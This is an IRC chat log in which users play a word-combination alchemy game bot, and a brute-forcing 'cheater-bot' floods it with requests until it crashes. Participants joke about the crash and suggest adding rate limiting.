[2014-12-29T16:03:57-0500] <alokpathy> @combine robot energy
[2014-12-29T16:03:57-0500] <alchemy> robot and energy don't make anything exciting.
[2014-12-29T16:04:02-0500] <alokpathy> @combine robot rust
[2014-12-29T16:04:03-0500] <alchemy> robot and rust don't make anything exciting.
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[2014-12-29T16:04:10-0500] <alokpathy> @combine robot robot
[2014-12-29T16:04:10-0500] <alchemy> robot and robot don't make anything exciting.
[2014-12-29T16:04:12-0500] <alokpathy> @list
[2014-12-29T16:04:12-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire, aaron
[2014-12-29T16:04:12-0500] <alchemy> You have: ent, sword, penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, robot, air
[2014-12-29T16:04:12-0500] <alchemy> You have: sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-29T16:04:12-0500] <alchemy> That's 48 out of 102!
[2014-12-29T16:04:18-0500] <alokpathy> @combine hal hal
[2014-12-29T16:04:18-0500] <alchemy> hal and hal don't make anything exciting.
[2014-12-29T16:04:21-0500] <alokpathy> @combine computer computer
[2014-12-29T16:04:21-0500] <alchemy> computer and computer don't make anything exciting.
[2014-12-29T16:04:26-0500] <bob_twinkles> @combine ice puddle
[2014-12-29T16:04:26-0500] <alchemy> ice and puddle don't make anything exciting.
[2014-12-29T16:04:33-0500] <alokpathy> @combine hal rust
[2014-12-29T16:04:33-0500] <alchemy> hal and rust don't make anything exciting.
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[2014-12-29T16:05:03-0500] <cheater-bot> @combine neanderthal metal
[2014-12-29T16:05:03-0500] <cheater-bot> @combine computer earth
[2014-12-29T16:05:03-0500] <alchemy> neanderthal and metal don't make anything exciting.
[2014-12-29T16:05:03-0500] <cheater-bot> @combine tree sentience
[2014-12-29T16:05:03-0500] <alchemy> computer and earth don't make anything exciting.
[2014-12-29T16:05:03-0500] <cheater-bot> @combine sandstorm snow
[2014-12-29T16:05:03-0500] <alchemy> tree and sentience don't make anything exciting.
[2014-12-29T16:05:03-0500] <alchemy> sandstorm and snow don't make anything exciting.
[2014-12-29T16:05:03-0500] <cheater-bot> @combine electricity thunder
[2014-12-29T16:05:03-0500] <cheater-bot> @combine puddle rust
[2014-12-29T16:05:03-0500] <alchemy> electricity and thunder don't make anything exciting.
[2014-12-29T16:05:03-0500] <cheater-bot> @combine wind olaf
[2014-12-29T16:05:03-0500] <alchemy> puddle and rust don't make anything exciting.
[2014-12-29T16:05:03-0500] <alchemy> wind and olaf don't make anything exciting.
[2014-12-29T16:05:03-0500] <cheater-bot> @combine sentience sandstorm
[2014-12-29T16:05:03-0500] <alchemy> sentience and sandstorm don't make anything exciting.
[2014-12-29T16:05:04-0500] <cheater-bot> @combine snow stone
[2014-12-29T16:05:04-0500] <alchemy> snow and stone don't make anything exciting.
[2014-12-29T16:05:05-0500] <cheater-bot> @combine lava penguin
[2014-12-29T16:05:05-0500] <alchemy> lava and penguin don't make anything exciting.
[2014-12-29T16:05:06-0500] <cheater-bot> @combine ice olaf
[2014-12-29T16:05:06-0500] <alchemy> ice and olaf don't make anything exciting.
[2014-12-29T16:05:07-0500] <cheater-bot> @combine fireman lightning
[2014-12-29T16:05:07-0500] <alchemy> fireman and lightning don't make anything exciting.
[2014-12-29T16:05:08-0500] <cheater-bot> @combine sculpture snowman
[2014-12-29T16:05:08-0500] <alchemy> sculpture and snowman don't make anything exciting.
[2014-12-29T16:05:09-0500] <cheater-bot> @combine water plant
[2014-12-29T16:05:09-0500] <alchemy> water and plant don't make anything exciting.
[2014-12-29T16:05:10-0500] <cheater-bot> @combine evil metal
[2014-12-29T16:05:10-0500] <alchemy> evil and metal don't make anything exciting.
[2014-12-29T16:05:11-0500] <cheater-bot> @combine aaron villain
[2014-12-29T16:05:11-0500] <alchemy> aaron and villain don't make anything exciting.
[2014-12-29T16:05:12-0500] <cheater-bot> @combine man neanderthal
[2014-12-29T16:05:12-0500] <alchemy> man and neanderthal don't make anything exciting.
[2014-12-29T16:05:13-0500] <cheater-bot> @combine man metal
[2014-12-29T16:05:13-0500] <alchemy> You already combined man and metal to get tool.
[2014-12-29T16:05:13-0500] <+JacobEdelman> better>
[2014-12-29T16:05:14-0500] <cheater-bot> @combine lightning metal
[2014-12-29T16:05:14-0500] <alchemy> lightning and metal don't make anything exciting.
[2014-12-29T16:05:15-0500] <cheater-bot> @combine mountain puddle
[2014-12-29T16:05:15-0500] <alchemy> mountain and puddle don't make anything exciting.
[2014-12-29T16:05:16-0500] <cheater-bot> @combine ice tornado
[2014-12-29T16:05:16-0500] <alchemy> ice and tornado don't make anything exciting.
[2014-12-29T16:05:16-0500] <+JacobEdelman> *?
[2014-12-29T16:05:17-0500] <cheater-bot> @combine sculpture rain
[2014-12-29T16:05:17-0500] <alchemy> sculpture and rain don't make anything exciting.
[2014-12-29T16:05:18-0500] <cheater-bot> @combine tsunami evil
[2014-12-29T16:05:18-0500] <alchemy> tsunami and evil don't make anything exciting.
[2014-12-29T16:05:19-0500] <cheater-bot> @combine rust ent
[2014-12-29T16:05:19-0500] <alchemy> rust and ent don't make anything exciting.
[2014-12-29T16:05:20-0500] <cheater-bot> @combine air penguin
[2014-12-29T16:05:20-0500] <alchemy> air and penguin don't make anything exciting.
[2014-12-29T16:05:21-0500] <cheater-bot> @combine light soil
[2014-12-29T16:05:21-0500] <alchemy> light and soil don't make anything exciting.
[2014-12-29T16:05:22-0500] <cheater-bot> @combine energy chivalry
[2014-12-29T16:05:22-0500] <alchemy> energy and chivalry don't make anything exciting.
[2014-12-29T16:05:23-0500] <cheater-bot> @combine chivalry tornado
[2014-12-29T16:05:23-0500] <alchemy> chivalry and tornado don't make anything exciting.
[2014-12-29T16:05:24-0500] <+JacobEdelman> :P
[2014-12-29T16:05:24-0500] <cheater-bot> @combine light ice
[2014-12-29T16:05:24-0500] <alchemy> light and ice don't make anything exciting.
[2014-12-29T16:05:25-0500] <cheater-bot> @combine sculpture aaron
[2014-12-29T16:05:25-0500] <alchemy> sculpture and aaron don't make anything exciting.
[2014-12-29T16:05:26-0500] <cheater-bot> @combine sentience sentience
[2014-12-29T16:05:26-0500] <alchemy> sentience and sentience don't make anything exciting.
[2014-12-29T16:05:27-0500] <cheater-bot> @combine water tree
[2014-12-29T16:05:27-0500] <alchemy> water and tree don't make anything exciting.
[2014-12-29T16:05:28-0500] <cheater-bot> @combine soil penguin
[2014-12-29T16:05:28-0500] <alchemy> soil and penguin don't make anything exciting.
[2014-12-29T16:05:29-0500] <cheater-bot> @combine rust snow
[2014-12-29T16:05:29-0500] <alchemy> rust and snow don't make anything exciting.
[2014-12-29T16:05:29-0500] <+JacobEdelman> it should be slower nw
[2014-12-29T16:05:30-0500] <cheater-bot> @combine lava rain
[2014-12-29T16:05:30-0500] <alchemy> lava and rain don't make anything exciting.
[2014-12-29T16:05:31-0500] <cheater-bot> @combine earth fire
[2014-12-29T16:05:31-0500] <alchemy> You already combined earth and fire to get lava.
[2014-12-29T16:05:32-0500] <cheater-bot> @combine tsunami hole
[2014-12-29T16:05:32-0500] <alchemy> tsunami and hole don't make anything exciting.
[2014-12-29T16:05:33-0500] <cheater-bot> @combine earth snowman
[2014-12-29T16:05:33-0500] <alchemy> earth and snowman don't make anything exciting.
[2014-12-29T16:05:34-0500] <cheater-bot> @combine air ent
[2014-12-29T16:05:34-0500] <alchemy> air and ent don't make anything exciting.
[2014-12-29T16:05:35-0500] <cheater-bot> @combine puddle tool
[2014-12-29T16:05:35-0500] <alchemy> puddle and tool don't make anything exciting.
[2014-12-29T16:05:36-0500] <cheater-bot> @combine steam earth
[2014-12-29T16:05:36-0500] <alchemy> steam and earth don't make anything exciting.
[2014-12-29T16:05:36-0500] <alokpathy> It hasn't found anything LOL
[2014-12-29T16:05:37-0500] <cheater-bot> @combine cloud thunder
[2014-12-29T16:05:37-0500] <alchemy> cloud and thunder don't make anything exciting.
[2014-12-29T16:05:38-0500] <cheater-bot> @combine sword earth
[2014-12-29T16:05:38-0500] <alchemy> sword and earth don't make anything exciting.
[2014-12-29T16:05:39-0500] <cheater-bot> @combine metal olaf
[2014-12-29T16:05:39-0500] <alchemy> metal and olaf don't make anything exciting.
[2014-12-29T16:05:40-0500] <cheater-bot> @combine mountain lightning
[2014-12-29T16:05:40-0500] <alchemy> mountain and lightning don't make anything exciting.
[2014-12-29T16:05:41-0500] <cheater-bot> @combine ice man
[2014-12-29T16:05:41-0500] <alchemy> ice and man don't make anything exciting.
[2014-12-29T16:05:41-0500] <+JacobEdelman> its very bad
[2014-12-29T16:05:42-0500] <cheater-bot> @combine neanderthal air
[2014-12-29T16:05:42-0500] <alchemy> neanderthal and air don't make anything exciting.
[2014-12-29T16:05:43-0500] <cheater-bot> @combine rust plant
[2014-12-29T16:05:43-0500] <alchemy> rust and plant don't make anything exciting.
[2014-12-29T16:05:44-0500] <cheater-bot> @combine aaron lightning
[2014-12-29T16:05:44-0500] <alchemy> aaron and lightning don't make anything exciting.
[2014-12-29T16:05:45-0500] <cheater-bot> @combine penguin energy
[2014-12-29T16:05:45-0500] <alchemy> penguin and energy don't make anything exciting.
[2014-12-29T16:05:46-0500] <cheater-bot> @combine fire snowman
[2014-12-29T16:05:46-0500] <alchemy> fire and snowman don't make anything exciting.
[2014-12-29T16:05:47-0500] <cheater-bot> @combine thunder fireman
[2014-12-29T16:05:47-0500] <alchemy> thunder and fireman don't make anything exciting.
[2014-12-29T16:05:48-0500] <cheater-bot> @combine metal sandstorm
[2014-12-29T16:05:48-0500] <alchemy> metal and sandstorm don't make anything exciting.
[2014-12-29T16:05:49-0500] <cheater-bot> @combine thunder hole
[2014-12-29T16:05:49-0500] <alchemy> thunder and hole don't make anything exciting.
[2014-12-29T16:05:50-0500] <cheater-bot> @combine stone mountain
[2014-12-29T16:05:50-0500] <alchemy> stone and mountain don't make anything exciting.
[2014-12-29T16:05:51-0500] <cheater-bot> @combine mountain tsunami
[2014-12-29T16:05:51-0500] <alchemy> mountain and tsunami don't make anything exciting.
[2014-12-29T16:05:52-0500] <cheater-bot> @combine energy stone
[2014-12-29T16:05:52-0500] <alchemy> energy and stone don't make anything exciting.
[2014-12-29T16:05:53-0500] <cheater-bot> @combine hole sandstorm
[2014-12-29T16:05:53-0500] <alchemy> hole and sandstorm don't make anything exciting.
[2014-12-29T16:05:54-0500] <cheater-bot> @combine sculpture ent
[2014-12-29T16:05:54-0500] <alchemy> sculpture and ent don't make anything exciting.
[2014-12-29T16:05:55-0500] <cheater-bot> @combine rust rain
[2014-12-29T16:05:55-0500] <alchemy> rust and rain don't make anything exciting.
[2014-12-29T16:05:56-0500] <cheater-bot> @combine water metal
[2014-12-29T16:05:56-0500] <+JacobEdelman> very very bad
[2014-12-29T16:05:56-0500] <alchemy> You already combined water and metal to get rust.
[2014-12-29T16:05:57-0500] <cheater-bot> @combine fireman evil
[2014-12-29T16:05:57-0500] <alchemy> fireman and evil don't make anything exciting.
[2014-12-29T16:05:58-0500] <cheater-bot> @combine plant tool
[2014-12-29T16:05:58-0500] <alchemy> plant and tool don't make anything exciting.
[2014-12-29T16:05:58-0500] <+JacobEdelman> apparentely
[2014-12-29T16:05:59-0500] <cheater-bot> @combine light mountain
[2014-12-29T16:05:59-0500] <alchemy> light and mountain don't make anything exciting.
[2014-12-29T16:06:00-0500] <cheater-bot> @combine sentience sword
[2014-12-29T16:06:00-0500] <alchemy> sentience and sword don't make anything exciting.
[2014-12-29T16:06:01-0500] <cheater-bot> @combine computer villain
[2014-12-29T16:06:01-0500] <alchemy> computer and villain don't make anything exciting.
[2014-12-29T16:06:02-0500] <cheater-bot> @combine knight electricity
[2014-12-29T16:06:02-0500] <alchemy> knight and electricity don't make anything exciting.
[2014-12-29T16:06:03-0500] <cheater-bot> @combine ice lava
[2014-12-29T16:06:03-0500] <alchemy> ice and lava don't make anything exciting.
[2014-12-29T16:06:04-0500] <cheater-bot> @combine energy fireman
[2014-12-29T16:06:04-0500] <alchemy> energy and fireman don't make anything exciting.
[2014-12-29T16:06:05-0500] <cheater-bot> @combine water water
[2014-12-29T16:06:05-0500] <alchemy> You already combined water and water to get ocean.
[2014-12-29T16:06:05-0500] <alokpathy> @combine computer sword
[2014-12-29T16:06:05-0500] <alchemy> computer and sword don't make anything exciting.
[2014-12-29T16:06:06-0500] <cheater-bot> @combine sandstorm chivalry
[2014-12-29T16:06:06-0500] <alchemy> sandstorm and chivalry don't make anything exciting.
[2014-12-29T16:06:07-0500] <cheater-bot> @combine hole sculpture
[2014-12-29T16:06:07-0500] <alchemy> hole and sculpture don't make anything exciting.
[2014-12-29T16:06:08-0500] <cheater-bot> @combine villain fireman
[2014-12-29T16:06:08-0500] <alchemy> villain and fireman don't make anything exciting.
[2014-12-29T16:06:09-0500] <cheater-bot> @combine snowman fireman
[2014-12-29T16:06:09-0500] <alchemy> snowman and fireman don't make anything exciting.
[2014-12-29T16:06:10-0500] <cheater-bot> @combine wind tree
[2014-12-29T16:06:10-0500] <alchemy> wind and tree don't make anything exciting.
[2014-12-29T16:06:11-0500] <cheater-bot> @combine sculpture ice
[2014-12-29T16:06:11-0500] <alchemy> sculpture and ice don't make anything exciting.
[2014-12-29T16:06:12-0500] <cheater-bot> @combine wind steam
[2014-12-29T16:06:12-0500] <alchemy> wind and steam don't make anything exciting.
[2014-12-29T16:06:13-0500] <cheater-bot> @combine sword rust
[2014-12-29T16:06:13-0500] <alchemy> sword and rust don't make anything exciting.
[2014-12-29T16:06:14-0500] <cheater-bot> @combine sandstorm evil
[2014-12-29T16:06:14-0500] <alchemy> sandstorm and evil don't make anything exciting.
[2014-12-29T16:06:15-0500] <cheater-bot> @combine electricity chivalry
[2014-12-29T16:06:15-0500] <alchemy> electricity and chivalry don't make anything exciting.
[2014-12-29T16:06:16-0500] <cheater-bot> @combine computer metal
[2014-12-29T16:06:16-0500] <alchemy> computer and metal don't make anything exciting.
[2014-12-29T16:06:17-0500] <cheater-bot> @combine earth hole
[2014-12-29T16:06:17-0500] <alchemy> earth and hole don't make anything exciting.
[2014-12-29T16:06:18-0500] <cheater-bot> @combine soil electricity
[2014-12-29T16:06:18-0500] <alchemy> soil and electricity don't make anything exciting.
[2014-12-29T16:06:19-0500] <cheater-bot> @combine evil penguin
[2014-12-29T16:06:19-0500] <alchemy> evil and penguin don't make anything exciting.
[2014-12-29T16:06:20-0500] <cheater-bot> @combine fireman ice
[2014-12-29T16:06:20-0500] <alchemy> fireman and ice don't make anything exciting.
[2014-12-29T16:06:21-0500] <cheater-bot> @combine hole aaron
[2014-12-29T16:06:21-0500] <alchemy> hole and aaron don't make anything exciting.
[2014-12-29T16:06:22-0500] <cheater-bot> @combine air fire
[2014-12-29T16:06:22-0500] <alchemy> air and fire don't make anything exciting.
[2014-12-29T16:06:23-0500] <cheater-bot> @combine electricity metal
[2014-12-29T16:06:23-0500] <alchemy> You already combined electricity and metal to get computer.
[2014-12-29T16:06:24-0500] <cheater-bot> @combine tornado tree
[2014-12-29T16:06:24-0500] <alchemy> tornado and tree don't make anything exciting.
[2014-12-29T16:06:25-0500] <cheater-bot> @combine ent sandstorm
[2014-12-29T16:06:25-0500] <alchemy> ent and sandstorm don't make anything exciting.
[2014-12-29T16:06:26-0500] <cheater-bot> @combine lightning electricity
[2014-12-29T16:06:26-0500] <alchemy> lightning and electricity don't make anything exciting.
[2014-12-29T16:06:27-0500] <cheater-bot> @combine plant thunder
[2014-12-29T16:06:27-0500] <alchemy> plant and thunder don't make anything exciting.
[2014-12-29T16:06:28-0500] <cheater-bot> @combine electricity olaf
[2014-12-29T16:06:28-0500] <alchemy> electricity and olaf don't make anything exciting.
[2014-12-29T16:06:28-0500] <+JacobEdelman> it someone wants it off I will kill it
[2014-12-29T16:06:29-0500] <cheater-bot> @combine rain rust
[2014-12-29T16:06:29-0500] <alchemy> rain and rust don't make anything exciting.
[2014-12-29T16:06:30-0500] <cheater-bot> @combine tool chivalry
[2014-12-29T16:06:30-0500] <alchemy> tool and chivalry don't make anything exciting.
[2014-12-29T16:06:31-0500] <cheater-bot> @combine lightning thunder
[2014-12-29T16:06:31-0500] <alchemy> lightning and thunder don't make anything exciting.
[2014-12-29T16:06:32-0500] <cheater-bot> @combine sculpture earth
[2014-12-29T16:06:32-0500] <alchemy> sculpture and earth don't make anything exciting.
[2014-12-29T16:06:33-0500] <cheater-bot> @combine lightning computer
[2014-12-29T16:06:33-0500] <alchemy> lightning and computer don't make anything exciting.
[2014-12-29T16:06:34-0500] <cheater-bot> @combine energy hal
[2014-12-29T16:06:34-0500] <alchemy> energy and hal don't make anything exciting.
[2014-12-29T16:06:35-0500] <cheater-bot> @combine ent cloud
[2014-12-29T16:06:35-0500] <alchemy> ent and cloud don't make anything exciting.
[2014-12-29T16:06:36-0500] <cheater-bot> @combine lava computer
[2014-12-29T16:06:36-0500] <alchemy> lava and computer don't make anything exciting.
[2014-12-29T16:06:37-0500] <cheater-bot> @combine lava soil
[2014-12-29T16:06:37-0500] <alchemy> lava and soil don't make anything exciting.
[2014-12-29T16:06:38-0500] <cheater-bot> @combine air electricity
[2014-12-29T16:06:38-0500] <alchemy> air and electricity don't make anything exciting.
[2014-12-29T16:06:39-0500] <cheater-bot> @combine tornado sword
[2014-12-29T16:06:39-0500] <alchemy> tornado and sword don't make anything exciting.
[2014-12-29T16:06:40-0500] <cheater-bot> @combine steam olaf
[2014-12-29T16:06:40-0500] <alchemy> steam and olaf don't make anything exciting.
[2014-12-29T16:06:41-0500] <cheater-bot> @combine soil lightning
[2014-12-29T16:06:41-0500] <alchemy> soil and lightning don't make anything exciting.
[2014-12-29T16:06:42-0500] <cheater-bot> @combine olaf penguin
[2014-12-29T16:06:42-0500] <alchemy> olaf and penguin don't make anything exciting.
[2014-12-29T16:06:43-0500] <cheater-bot> @combine soil aaron
[2014-12-29T16:06:43-0500] <alchemy> soil and aaron don't make anything exciting.
[2014-12-29T16:06:44-0500] <cheater-bot> @combine fire lava
[2014-12-29T16:06:44-0500] <alchemy> fire and lava don't make anything exciting.
[2014-12-29T16:06:45-0500] <cheater-bot> @combine sword water
[2014-12-29T16:06:45-0500] <alchemy> sword and water don't make anything exciting.
[2014-12-29T16:06:46-0500] <cheater-bot> @combine evil thunder
[2014-12-29T16:06:46-0500] <alchemy> evil and thunder don't make anything exciting.
[2014-12-29T16:06:47-0500] <cheater-bot> @combine air air
[2014-12-29T16:06:47-0500] <alchemy> air and air don't make anything exciting.
[2014-12-29T16:06:48-0500] <cheater-bot> @combine energy aaron
[2014-12-29T16:06:48-0500] <alchemy> energy and aaron don't make anything exciting.
[2014-12-29T16:06:49-0500] <cheater-bot> @combine tornado sandstorm
[2014-12-29T16:06:49-0500] <alchemy> tornado and sandstorm don't make anything exciting.
[2014-12-29T16:06:50-0500] <cheater-bot> @combine aaron ice
[2014-12-29T16:06:50-0500] <alchemy> aaron and ice don't make anything exciting.
[2014-12-29T16:06:51-0500] <cheater-bot> @combine stone tool
[2014-12-29T16:06:51-0500] <alchemy> stone and tool don't make anything exciting.
[2014-12-29T16:06:52-0500] <cheater-bot> @combine lava villain
[2014-12-29T16:06:52-0500] <alchemy> lava and villain don't make anything exciting.
[2014-12-29T16:06:53-0500] <cheater-bot> @combine hal rust
[2014-12-29T16:06:53-0500] <alchemy> hal and rust don't make anything exciting.
[2014-12-29T16:06:54-0500] <cheater-bot> @combine fireman mountain
[2014-12-29T16:06:54-0500] <alchemy> fireman and mountain don't make anything exciting.
[2014-12-29T16:06:55-0500] <cheater-bot> @combine earth electricity
[2014-12-29T16:06:55-0500] <alchemy> earth and electricity don't make anything exciting.
[2014-12-29T16:06:56-0500] <cheater-bot> @combine metal ent
[2014-12-29T16:06:56-0500] <alchemy> metal and ent don't make anything exciting.
[2014-12-29T16:06:57-0500] <cheater-bot> @combine sword man
[2014-12-29T16:06:57-0500] <alchemy> You already combined sword and man to get knight.
[2014-12-29T16:06:58-0500] <cheater-bot> @combine hole hole
[2014-12-29T16:06:58-0500] <alchemy> hole and hole don't make anything exciting.
[2014-12-29T16:06:59-0500] <cheater-bot> @combine snow plant
[2014-12-29T16:06:59-0500] <alchemy> snow and plant don't make anything exciting.
[2014-12-29T16:07:00-0500] <cheater-bot> @combine metal tool
[2014-12-29T16:07:00-0500] <alchemy> You already combined metal and tool to get sculpture.
[2014-12-29T16:07:01-0500] <cheater-bot> @combine ent light
[2014-12-29T16:07:01-0500] <alchemy> ent and light don't make anything exciting.
[2014-12-29T16:07:02-0500] <cheater-bot> @combine water light
[2014-12-29T16:07:02-0500] <alchemy> water and light don't make anything exciting.
[2014-12-29T16:07:02-0500] <+JacobEdelman> wow
[2014-12-29T16:07:03-0500] <cheater-bot> @combine light ocean
[2014-12-29T16:07:03-0500] <alchemy> light and ocean don't make anything exciting.
[2014-12-29T16:07:04-0500] <cheater-bot> @combine penguin earth
[2014-12-29T16:07:04-0500] <alchemy> penguin and earth don't make anything exciting.
[2014-12-29T16:07:05-0500] <cheater-bot> @combine man stone
[2014-12-29T16:07:05-0500] <alchemy> You already combined man and stone to get neanderthal.
[2014-12-29T16:07:05-0500] <+JacobEdelman> its bad at this
[2014-12-29T16:07:06-0500] <cheater-bot> @combine penguin thunder
[2014-12-29T16:07:06-0500] <alchemy> penguin and thunder don't make anything exciting.
[2014-12-29T16:07:07-0500] <cheater-bot> @combine tool rust
[2014-12-29T16:07:07-0500] <alchemy> tool and rust don't make anything exciting.
[2014-12-29T16:07:08-0500] <cheater-bot> @combine thunder villain
[2014-12-29T16:07:08-0500] <alchemy> thunder and villain don't make anything exciting.
[2014-12-29T16:07:09-0500] <cheater-bot> @combine tree fireman
[2014-12-29T16:07:09-0500] <alchemy> tree and fireman don't make anything exciting.
[2014-12-29T16:07:10-0500] <cheater-bot> @combine air man
[2014-12-29T16:07:10-0500] <alchemy> air and man don't make anything exciting.
[2014-12-29T16:07:11-0500] <cheater-bot> @combine metal aaron
[2014-12-29T16:07:11-0500] <alchemy> metal and aaron don't make anything exciting.
[2014-12-29T16:07:12-0500] <cheater-bot> @combine sculpture water
[2014-12-29T16:07:12-0500] <alchemy> sculpture and water don't make anything exciting.
[2014-12-29T16:07:13-0500] <cheater-bot> @combine wind wind
[2014-12-29T16:07:13-0500] <alchemy> You already combined wind and wind to get tornado.
[2014-12-29T16:07:13-0500] <+JacobEdelman> very bad
[2014-12-29T16:07:13-0500] <Tamini_> @list
[2014-12-29T16:07:13-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire, aaron
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[2014-12-29T16:07:14-0500] <cheater-bot> @combine penguin stone
[2014-12-29T16:07:15-0500] <bob_twinkles> it's a friggin huge matrix of things to test
[2014-12-29T16:07:15-0500] <cheater-bot> @combine soil snow
[2014-12-29T16:07:16-0500] <cheater-bot> @combine rain ocean
[2014-12-29T16:07:17-0500] <cheater-bot> @combine chivalry metal
[2014-12-29T16:07:18-0500] <cheater-bot> @combine ice fireman
[2014-12-29T16:07:19-0500] <cheater-bot> @combine lava lava
[2014-12-29T16:07:20-0500] <cheater-bot> @combine computer computer
[2014-12-29T16:07:21-0500] <cheater-bot> @combine aaron fire
[2014-12-29T16:07:22-0500] <bob_twinkles> JacobEdelman: pls
[2014-12-29T16:07:22-0500] <cheater-bot> @combine plant steam
[2014-12-29T16:07:23-0500] <cheater-bot> @combine air computer
[2014-12-29T16:07:24-0500] <+JacobEdelman> its dead
[2014-12-29T16:07:25-0500] <cheater-bot> @combine knight fireman
[2014-12-29T16:07:25-0500] <cheater-bot> @combine soil snowman
[2014-12-29T16:07:26-0500] <+JacobEdelman> or dying
[2014-12-29T16:07:26-0500] <cheater-bot> @combine fireman villain
[2014-12-29T16:07:27-0500] <cheater-bot> @combine puddle plant
[2014-12-29T16:07:28-0500] <cheater-bot> @combine lightning tornado
[2014-12-29T16:07:28-0500] <bob_twinkles> lol
[2014-12-29T16:07:29-0500] <cheater-bot> @combine lava metal
[2014-12-29T16:07:29-0500] <Tamini_> bot pls
[2014-12-29T16:07:30-0500] <cheater-bot> @combine tree tsunami
[2014-12-29T16:07:31-0500] <cheater-bot> @combine ent rust
[2014-12-29T16:07:32-0500] <cheater-bot> @combine thunder cloud
[2014-12-29T16:07:32-0500] <Tamini_> it ded
[2014-12-29T16:07:34-0500] <cheater-bot> @combine mountain man
[2014-12-29T16:07:35-0500] <cheater-bot> @combine villain neanderthal
[2014-12-29T16:07:35-0500] <cheater-bot> @combine sandstorm tornado
[2014-12-29T16:07:36-0500] <cheater-bot> @combine snowman fire
[2014-12-29T16:07:37-0500] <cheater-bot> @combine sword olaf
[2014-12-29T16:07:39-0500] <cheater-bot> @combine computer cloud
[2014-12-29T16:07:39-0500] <cheater-bot> @combine snow snow
[2014-12-29T16:07:39-0500] <Tamini_> jacob kill it
[2014-12-29T16:07:40-0500] <cheater-bot> @combine chivalry air
[2014-12-29T16:07:41-0500] <cheater-bot> @combine thunder rust
[2014-12-29T16:07:42-0500] <cheater-bot> @combine energy cloud
[2014-12-29T16:07:42-0500] <Hyper> JacobEdelman: perhaps you should be rate limiting yourself
[2014-12-29T16:07:43-0500] <cheater-bot> @combine earth olaf
[2014-12-29T16:07:44-0500] <cheater-bot> @combine snow steam
[2014-12-29T16:07:45-0500] <cheater-bot> @combine puddle energy
[2014-12-29T16:07:47-0500] <cheater-bot> @combine chivalry hal
[2014-12-29T16:07:48-0500] <cheater-bot> @combine tsunami thunder
[2014-12-29T16:07:49-0500] <cheater-bot> @combine chivalry earth
[2014-12-29T16:07:50-0500] <cheater-bot> @combine sculpture tool
[2014-12-29T16:07:51-0500] <cheater-bot> @combine lava knight
[2014-12-29T16:07:52-0500] <cheater-bot> @combine thunder thunder
[2014-12-29T16:07:52-0500] <cheater-bot> @combine tornado rust
[2014-12-29T16:07:52-0500] <+JacobEdelman> wow
[2014-12-29T16:07:53-0500] <cheater-bot> @combine olaf stone
[2014-12-29T16:07:54-0500] <cheater-bot> @combine thunder metal
[2014-12-29T16:07:55-0500] <cheater-bot> @combine ocean rust
[2014-12-29T16:07:55-0500] <+JacobEdelman> it had a lot qued
[2014-12-29T16:07:56-0500] <cheater-bot> @combine computer hole
[2014-12-29T16:07:58-0500] <cheater-bot> @combine wind sculpture
[2014-12-29T16:07:59-0500] <cheater-bot> @combine thunder olaf
[2014-12-29T16:08:00-0500] <cheater-bot> @combine earth rust
[2014-12-29T16:08:01-0500] <cheater-bot> @combine thunder ice
[2014-12-29T16:08:02-0500] <cheater-bot> @combine sword electricity
[2014-12-29T16:08:02-0500] <cheater-bot> @combine penguin plant
[2014-12-29T16:08:04-0500] <cheater-bot> @combine man rain
[2014-12-29T16:08:07-0500] <+JacobEdelman> yeah, right now it has a time.wait(0.1)
[2014-12-29T16:08:11-0500] <+JacobEdelman> after each request
[2014-12-29T16:08:16-0500] <+JacobEdelman> apparentely that is not enough
[2014-12-29T16:08:21-0500] <+JacobEdelman> ah, there, it died
[2014-12-29T16:08:29-0500] <Hyper> why not wait until it gets a reply before doing the next one?
[2014-12-29T16:09:01-0500] <+JacobEdelman> I could do that
[2014-12-29T16:09:02-0500] <bob_twinkles> hardmath123: we broke it
[2014-12-29T16:09:07-0500] <+JacobEdelman> again
[2014-12-29T16:09:11-0500] <+JacobEdelman> this is the second time
[2014-12-29T16:09:15-0500] <+JacobEdelman> I take full responsibility
[2014-12-29T16:09:17-0500] <+JacobEdelman> :P
[2014-12-29T16:09:25-0500] <alokpathy> :|
[2014-12-29T16:09:29-0500] <alokpathy> @list
[2014-12-29T16:09:33-0500] <alokpathy> darn
[2014-12-29T16:10:23-0500] <Hyper> JacobEdelman: or have it take a command like `guess 10` that tells it how many guesses to advance
[2014-12-29T16:10:52-0500] <bob_twinkles> I wonder if you could use something like https://code.google.com/p/word2vec/ to make an alchemy game...
[2014-12-29T16:11:04-0500] <bob_twinkles> sounds like a project for when I have a real internet connection
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[2014-12-29T16:12:36-0500] <+JacobEdelman> that took a while
[2014-12-29T16:23:01-0500] <+hardmath123> uh-oh
[2014-12-29T16:23:05-0500] <+hardmath123> what happened
[2014-12-29T16:23:15-0500] <+hardmath123> he's dead
[2014-12-29T16:23:24-0500] <bob_twinkles> hardmath123: JacobEdelman happened
[2014-12-29T16:23:27-0500] <+hardmath123> ah
[2014-12-29T16:23:42-0500] <+JacobEdelman> again
[2014-12-29T16:24:00-0500] <+JacobEdelman> JacobEdelman is am obscure type of natrual disaster
[2014-12-29T16:24:05-0500] <+JacobEdelman> and can result in things like this
[2014-12-29T16:24:07-0500] <+JacobEdelman> http://xkcd.com/1316/
[2014-12-29T16:24:17-0500] <+JacobEdelman> I wanna be an element in alchemy
[2014-12-29T16:24:22-0500] <+JacobEdelman> pretty please?
[2014-12-29T16:24:58-0500] <+hardmath123> no
[2014-12-29T16:25:00-0500] <+hardmath123> you killed it
[2014-12-29T16:25:16-0500] <alokpathy> Can I be an element?
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[2014-12-29T16:25:18-0500] <+JacobEdelman> By smethering it with love
[2014-12-29T16:25:29-0500] <+hardmath123> alokpathy: yeah, sure.
[2014-12-29T16:25:31-0500] <+JacobEdelman> *smothering
[2014-12-29T16:25:33-0500] <+JacobEdelman> ahhh
[2014-12-29T16:25:34-0500] <+JacobEdelman> :P
[2014-12-29T16:25:42-0500] <alokpathy> woo
[2014-12-29T16:25:45-0500] <+hardmath123> i want to mae @combine recursion recursion = recursion
[2014-12-29T16:25:51-0500] <alokpathy> xD
[2014-12-29T16:25:52-0500] <+hardmath123> but that will make the game unwinnable
[2014-12-29T16:25:53-0500] <+hardmath123> thoughts?
